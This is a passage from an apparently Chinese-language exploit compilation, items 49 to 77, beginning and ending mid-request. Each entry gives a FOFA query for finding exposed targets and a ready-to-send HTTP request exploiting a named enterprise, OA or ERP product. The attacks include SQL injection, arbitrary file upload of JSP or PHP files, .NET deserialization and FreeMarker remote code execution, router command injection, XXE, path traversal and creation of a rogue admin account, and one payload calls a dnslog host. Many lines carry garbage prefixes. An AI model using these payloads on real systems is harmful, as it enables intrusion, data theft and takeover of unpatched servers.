Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
3 A. t6 ~: w% l4 z------269520967239406871642430066855
' ]  w. S5 e' E  v. ]6 K9 D5 jContent-Disposition: form-data; name="file"; filename="s.php"
/ C+ x' z: b9 k# s3 L) n2 f2 o, K3 A1231
Content-Type: application/octet-stream
------269520967239406871642430066855
5 C3 c* t3 e* \) V% [Content-Disposition: form-data; name="upload"
% ]" e+ d" o  H" @. c# v. u6 Yupload
------269520967239406871642430066855--
! ^+ t9 p; E' R& c+ A# n$ r: T4 x

* W% b5 M' j& I8 |: }49. 用友U8 CRM系统uploadfile.php接口任意文件上传
FOFA：body="用友U8CRM"
) }# b( Y1 ^4 e( H: z
POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
2 e2 h2 k% r$ [$ |1 `7 ]7 CHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Content-Length: 329
/ N0 W4 d2 @/ i% HAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
" s5 z+ x& R- U  [8 V/ bAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w
0 o% F2 ]1 H: B. J! m
-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="file"; filename="%s.php "
: V# u3 U6 S8 d8 o  K3 f1 K9 c+ hContent-Type: application/octet-stream
9 U* Q# _: Q1 N
wersqqmlumloqa
# s* P3 u2 p3 v1 W* L-----------------------------vvv3wdayqv3yppdxvn3w
& L  g3 {3 m5 ^2 s/ P9 IContent-Disposition: form-data; name="upload"
' X. ^: S. R, |
upload
-----------------------------vvv3wdayqv3yppdxvn3w--
1 y/ D5 x5 A( Q
* t' o; u8 t6 w" o: ]- E
http://x.x.x.x/tmpfile/updB3CB.tmp.php

50. QDocs Smart School 6.4.1 filterRecords SQL注入
FOFA：body="close closebtnmodal"
POST /course/filterRecords/ HTTP/1.1
Host: x.x.x.x
9 {$ z2 x/ ]( t" ~4 CUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
! f' o6 f0 l9 J! o" w& }& r" c5 WContent-Length: 224
Accept: */*
* W& ^4 N& F- lAccept-Language: en
( V; c' Q: x" b" k1 d& {/ \. Z# ]/ @: IContent-Type: application/x-www-form-urlencoded
9 ]4 P* I7 ], |& RAccept-Encoding: gzip

searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1
: K# f* d7 i; o
( P* b3 m6 [# d, @, s: w
  q4 `4 a/ Y; c51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
FOFA：app="云时空社会化商业ERP系统"
GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
4 x; {6 n( p8 N  z% y7 s& BAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
1 `- `' ?8 }2 D* ~

52. 泛微E-Office json_common.php sql注入
( O) v/ f4 g5 aFOFA：app="泛微-EOffice"
POST /building/json_common.php HTTP/1.1
$ m' D2 A# E, aHost: 192.168.86.128:8097
5 Q/ I/ I! k# Q7 fUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
& @) `# U$ h& q7 bConnection: close
Content-Length: 87
Accept: */*
& f* }& x! \" TAccept-Language: en
Content-Type: application/x-www-form-urlencoded
1 V$ _/ Q' N- q0 a& f& [Accept-Encoding: gzip
5 o, U* g9 R+ x, y; Q" Y
1 c* d9 H2 R/ Stfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333

$ o9 a$ Q% O0 ^' J+ z; h0 g. p
53. 迪普 DPTech VPN Service 任意文件上传
$ ]) R1 s3 r- C+ B) g7 }0 fFOFA：app="DPtech-SSLVPN"
/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
5 u9 G6 i4 W) t# T

54. 畅捷通T+ getstorewarehousebystore 远程代码执行
FOFA：app="畅捷通-TPlus"
% E0 C/ B( ?# m4 }5 w. N2 ~第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
' n6 s3 w2 D. ~9 S* E% Q. x"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
; o! n- e/ O6 n
0 l  g1 T, K) \" ?" U* n( Z
3 R# T6 [( ]8 m. k7 j0 ~/ H完整数据包
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
8 g. N, g! Z2 zHost: x.x.x.x
9 @: F# S) H' dUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
" d' a  [/ Z1 a: ~9 G; VContent-Length: 593
( q" m# A4 q/ _" Q0 s
4 Z5 Y% G: U4 v5 f6 L$ N* D, ?3 `. T{
"storeID":{
- _1 P  U/ N9 z9 l8 C, c "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
( f* J( Z1 v2 r. D" [1 ?+ S "MethodName":"Start",
  "ObjectInstance":{
0 ?2 k' A& }9 h; A' W1 I   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
- f) l$ P6 u; _0 _: h  w, f) c    "StartInfo":{
   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
0 ]2 E0 a6 T+ B! W( |    "FileName":"cmd",
8 Y, R( q9 P/ o6 ~, |  }    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
0 w/ h& u1 l4 Q3 @    }
4 K7 `0 `( N- y8 Y- N/ d  }
  }
2 j* f$ s& X1 Y& D( h9 R4 n9 U}


# w9 g2 Z3 S! c% t9 D第二步，访问如下url
9 J' K) G3 S' u/ R0 B* }! I$ |2 u9 h/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt
  ~3 d% L3 m2 r( f/ G+ N/ K' e

55. 畅捷通T+ getdecallusers信息泄露
FOFA：app="畅捷通-TPlus"
第一步，通过
8 J; ?4 O% P( A& \* T/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
3 f. ~& d+ E& M# f0 |- U% W+ O第二步，利用获取到的Cookie请求
) ]! k0 J! ~: V: {5 {, |' ^: c/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers

* x: L8 T/ h0 B) {, d! O/ k56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
FOFA: app="畅捷通-TPlus"
9 T" r) B  w7 r: J# E1 S, KPOST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
& `1 W: @2 U* z1 @2 k% g# BHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/json
% ~) N3 E: z1 S* {( s2 n
/ t# ~0 [: V0 o! s/ u% j1 z- }{
: ~3 r- g. y0 ~) c2 v* O  "storeID":{
7 B! y9 _6 s8 q2 o- q; @    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
   "MethodName":"Start",
    "ObjectInstance":{
2 D: q. _  }7 u! ?       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
# k7 e% W3 Y" e/ D) p% g        "StartInfo": {
2 i3 ^. _+ T$ m8 g9 g6 ^% E           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
  J" E! m- ^0 q' h  T           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
& L: @8 h0 r: s" g# I# V3 k! m       }
    }
  }
}

! E5 O8 T; A) j, b! y
4 B, x# M% Z1 F57. 畅捷通T+ keyEdit.aspx SQL注入
. V1 M8 W) F. d! j6 `1 k, M% EFOFA：app="畅捷通-TPlus"
! d, J) s# l' A5 T8 EGET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
Host: host
9 D4 I( q% Q3 K, Z! c- JUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
2 d4 V1 a+ `8 `( E& V6 W9 Q0 W4 J, rAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
: T4 p( q6 D: B+ O/ S

58. 畅捷通T+ KeyInfoList.aspx sql注入
FOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
' m$ j6 Q4 ~3 b& X2 q0 kHost: your-ip
& B, N0 F7 {  b: F5 QUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
7 ^& b2 e+ [* t, }- U7 A( q& Y4 e- `Accept-Charset: utf-8
: U" J+ b3 U2 [( z$ U5 C* P8 W$ yAccept-Encoding: gzip, deflate
Connection: close
1 W7 o$ J8 ~$ @- ]  S0 p
$ P7 e- Q0 y8 A7 T2 l# J
/ C4 R' g- Q8 u2 ^+ U: Q59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
' ]3 _) v6 f3 d" p/ Q. e$ {FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
: W% A% k& H) A- x" \- [+ ePOST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 192.168.86.128:9090
/ b( K- t6 J! p1 PUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
! B' B4 X- m+ n' p: F, w6 X6 d/ GContent-Length: 1669
Accept: */*
6 q$ C3 Z8 X, j& B( rAccept-Language: en
0 q8 C, ]: u7 D$ w* e- pContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

: T* D8 ], S! Y0 K; o6 E& NPAYLOAD


60. 百卓Smart管理平台 importexport.php SQL注入
& N* v0 C7 L0 q7 n4 }9 _& E$ CFOFA：title="Smart管理平台"
: p+ c% y& V7 K' t2 iGET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
. o$ u2 y1 |  t3 ?/ i4 D% GHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
" M( e+ b, ?( YAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
) U5 K3 X9 ]. W. kConnection: close

' H0 r: V3 `% m) k* l! E0 c
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
FOFA: title="欢迎使用浙大恩特客户资源管理系统"
POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
+ c$ V4 p$ e- w+ L9 D# A6 j8 ^Connection: close
Content-Length: 27
4 P' X/ x! \) u. R9 @6 `6 P- S' A# {Accept: */*
4 u/ ]4 C6 x+ ^6 LAccept-Encoding: gzip, deflate
) K4 z, t* o+ t' x+ |; [Accept-Language: en
Content-Type: application/x-www-form-urlencoded

+ L9 g  I) V" N7 D, M+ H1 U8uxssX66eqrqtKObcVa0kid98xa


( p+ }( ^( x: u# g62. IP-guard WebServer 远程命令执行
FOFA："IP-guard" && icon_hash="2030860561"
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
2 I4 b. n/ f  j) U( V6 Z! PHost: x.x.x.x
* i7 |' M# _. A, m/ AUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
Connection: close
& [7 Y$ M/ I* h+ N2 TAccept: */*
! M$ D3 h' j  _9 T8 x9 M( S* H, MAccept-Language: en
- j/ h! e2 ?! q( u3 KAccept-Encoding: gzip
; F" r# d- a6 A- I# h; w5 C3 J
2 h* s: t: k- M4 V. e
$ u  b' o2 b- J, B* X访问
+ g* n% o9 J7 n" b6 K, y
7 a. |, ~: W2 |1 Z5 B1 d9 nGET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x


& s1 h- v% }6 V. |63. IP-guard WebServer任意文件读取
# e2 H: ?4 h4 ?; t/ Y% Y1 yIP-guard < 4.82.0609.0
# Y, m; i& d& D7 ~( P9 bFOFA：icon_hash="2030860561"
5 E2 w9 O) n+ }# H/ F7 a/ h; Y) qPOST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
% _* D  S+ E. B+ f6 M- V6 V" xHost: your-ip
  p2 ~5 e4 C0 C+ qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
, J1 @# ~  t  z- j. D: aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
) w. O* G+ Z* W8 L" Q8 n) u* @Accept-Encoding: gzip, deflate
( H1 n7 y2 @2 hAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

3 }# r- h& S# H# K/ {& epath=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
8 R1 O2 o: J, p( B
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
FOFA：body="/Scripts/EnjoyMsg.js"
POST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
Host: 192.168.86.128:9001
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
/ I! B, R. d4 X1 Q6 P, O. v# k( jConnection: close
0 w$ a" [7 E# I! z8 d8 j6 c8 JContent-Length: 369
! ~" |$ M: |  x2 X. qAccept: */*
& o3 N8 d% K. q/ ~Accept-Language: en
Content-Type: text/xml; charset=utf-8
Accept-Encoding: gzip
3 |0 v, m5 ]+ T3 w
<?xml version="1.0" encoding="utf-8"?>
$ v* ^; `- f7 Z<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
( u1 H5 a; }8 V: c<soap:Body>
+ a4 \: T: D0 k' h    <GetOSpById xmlns="http://tempuri.org/">
      <sId>1';waitfor delay '0:0:5'--+</sId>
0 l/ j% O% g) b5 l# n* U    </GetOSpById>
  </soap:Body>
7 P$ j8 Q! f% `5 ^& V. I</soap:Envelope>
5 n  G. ^8 B9 V7 \* o6 b0 U# C
6 F! b( h) ~5 ~# t% a7 N5 g
" p$ `. ?- w7 \: J6 b65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
4 j: v& ^( V7 _: RPOST /SystemMng.ashx HTTP/1.1
Host:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
% S( {' I1 A. Z3 c( H' e# i9 pAccept-Encoding: gzip, deflate
Accept: */*
( {! ~5 G, p5 }+ uConnection: close
Accept-Language: en
! U: a" c) o$ `7 e- gContent-Length: 174

! |9 H. j; z* h' T( ~. RoperatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators


66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
- B/ }7 O7 K& R! }" ]6 Q% z1 |7 ZFOFA：app="万户ezOFFICE协同管理平台"

& A/ B: O5 f0 l2 _1 _GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
) r- {3 b* n( K8 r4 U* YConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

9 c! N2 f7 z8 E' I2 @: f8 M
, I  D" Q: I+ V: m; M第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在

67. 万户ezOFFICE wpsservlet任意文件上传
FOFA：app="万户网络-ezOFFICE"
newdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
  w  p- Y/ m- y& SPOST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
% D- U  V5 `) Y0 L3 }9 aHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Length: 173
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
7 O8 K. D9 I% i! }  U$ ?. HAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
& f+ p# c- a- ?  V8 B4 B+ p) CConnection: close
# p* E9 G8 q2 N% U4 z' HContent-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
' P6 ^  j3 p! j* O! Y/ r  KDNT: 1
7 v1 Q: ]; h8 Y3 i( |Upgrade-Insecure-Requests: 1
) S& L; A' J3 {) v4 u" ?* Q7 B* \
--ufuadpxathqvxfqnuyuqaozvseiueerp
Content-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"

  k: x$ f! u5 U& {. ?  T+ U& Z<% out.print("sasdfghjkj");%>
8 L. R( K" D% b) p0 n--ufuadpxathqvxfqnuyuqaozvseiueerp--


1 P1 g1 s! L) e/ A1 W! t$ u9 A文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp

68. 万户ezOFFICE wf_printnum.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
/ v: z+ \. N, P- KGET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
2 M. `+ {. q$ S# h( T* j8 ?* VHost: {{host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
. q/ f2 \% T  EAccept-Encoding: gzip, deflate
' L+ v9 g) L+ c+ eAccept-Language: zh-CN,zh;q=0.9
. p% [, E2 g* }1 Z- q; EConnection: close


" G) t9 H6 k: A; r, q1 d+ |- w* P69. 万户 ezOFFICE contract_gd.jsp SQL注入
* o' |, n8 z  Z' l9 Y$ UFOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
Host: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
$ N) M8 x3 G3 z+ {& vAccept: */*
2 r8 L- B4 Y/ w4 L" p) R1 DConnection: keep-alive
# L) k( |6 c6 s9 K$ h' V
! v3 J3 O/ P  d5 T  l
9 e* z2 I$ {* P% a4 _, K, y  U7 t# I70. 万户ezEIP success 命令执行
FOFA：app="万户网络-ezEIP"
7 ^/ r0 N* H% u; o9 U2 g: c* k/ _POST /member/success.aspx HTTP/1.1
% G5 q  C9 C* x0 |  H  j# Y/ jHost: {{Hostname}}
9 w1 O# y6 T6 x! t2 _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
Content-Type: application/x-www-form-urlencoded
TYPE: C
4 S9 M6 r1 W0 \/ AContent-Length: 16702
# s5 ?8 p* g3 ^4 b  V6 }- R$ ?
__VIEWSTATE=PAYLOAD

/ R2 [: d9 z/ q% U. Y& r. s! ^
  O) f; g6 z1 a+ C71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
* l" H. G& {! jFOFA：body="PM2项目管理系统BS版增强工具.zip"
GET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
Host: x.x.x.xx.x.x.x
5 V, m$ a1 @/ d2 yUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
& G8 o7 `7 H+ ]8 |Accept-Encoding: gzip, deflate
) W, j* j* J% v5 f" AAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
: h5 U7 S" ?, BUpgrade-Insecure-Requests: 1
3 k4 q/ Q, }" l6 v3 I

, ~! `! O2 k; I2 \7 N2 g  t1 V72. 致远OA getAjaxDataServlet XXE
6 y2 [) a- Y: Q/ t1 x+ [( HFOFA：app="致远互联-OA"
; w9 M+ m) x) s$ V. sPOST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
/ V" {3 S7 W7 x+ W2 vHost: 192.168.40.131:8099
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
% u& P8 k8 p3 C( VConnection: close
  p! O& k% x- t% ^7 `+ v% PContent-Length: 583
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

5 T5 w! \% U+ z  fS=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
. G$ S+ _6 V9 y5 o6 ~, D# K

% [- y4 Q! j& G* t73. GeoServer wms远程代码执行
6 X7 D- J) U0 U: dFOFA：icon_hash=”97540678”
POST /geoserver/wms HTTP/1.1
Host:
' J, V' z# D) G6 m5 J8 R) iUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
: m% P5 ~* R8 T- y( x- S4 xContent-Length: 1981
3 N( [9 s5 A* e: S5 z5 X, |8 E1 X; qAccept-Encoding: gzip, deflate
$ n  @; `& I  M/ _' a! Q# VConnection: close
Content-Type: application/xml
SL-CE-SUID: 3
% h0 Y" m7 ^% J- j2 }
PAYLOAD

7 P( A% x9 ?' N' v3 `! z/ z
74. 致远M3-server 6_1sp1 反序列化RCE
3 A% \4 m* _& U7 r  Q- G3 x7 YFOFA：title="M3-Server"
PAYLOAD

) H0 T  C" r4 e8 G75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
FOFA：app="TELESQUARE-TLR-2005KSH"
GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
: J; p: R" ]% `/ kConnection: close
Accept: */*
Accept-Language: en
4 q* f$ e8 j6 P+ k: N- {3 }2 JAccept-Encoding: gzip
( i$ ?8 A6 S1 @, L# O

3 P1 R& o0 }( q. |) PGET /cgi-bin/test28256.txt HTTP/1.1
Host: x.x.x.x
* n3 J. Q$ x. W, C4 s+ k

( r; W! H. x/ X/ s* ]5 {0 q2 u76. 新开普掌上校园服务管理平台service.action远程命令执行
; B$ D  k7 j" PFOFA：title="掌上校园服务管理平台"
! F- y# I6 d4 ]; S8 ~6 kPOST /service_transport/service.action HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
8 A( C: F1 |- R; f- [0 CConnection: close
Content-Length: 211
( ]) v6 n) a3 \- I5 ZAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
* t5 j  h* Y7 h: J1 H! G0 J; gUpgrade-Insecure-Requests: 1
- S/ B, A" N$ p+ }# K
1 e4 }( U6 I0 _. Q' r& H{
"command": "GetFZinfo",
  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
) H! w5 x& @3 d: G}
2 M; X" x- X% g" z4 \. _7 {
0 _7 o! }; X: {  }, y9 n
GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
2 s5 d/ h4 ^/ s! g$ _Host: x.x.x.x
( q: k0 y* R2 ^3 q4 E
' {) \( I4 ?$ H5 D

77. F22服装管理软件系统UploadHandler.ashx任意文件上传
4 a% `% t2 o$ Z; \" ]9 n* T8 \FOFA：body="F22WEB登陆"
POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
) R/ [5 W2 L6 z3 F6 D7 D6 [Connection: close
Content-Length: 433
) y$ f# T6 e1 M. \: HAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix

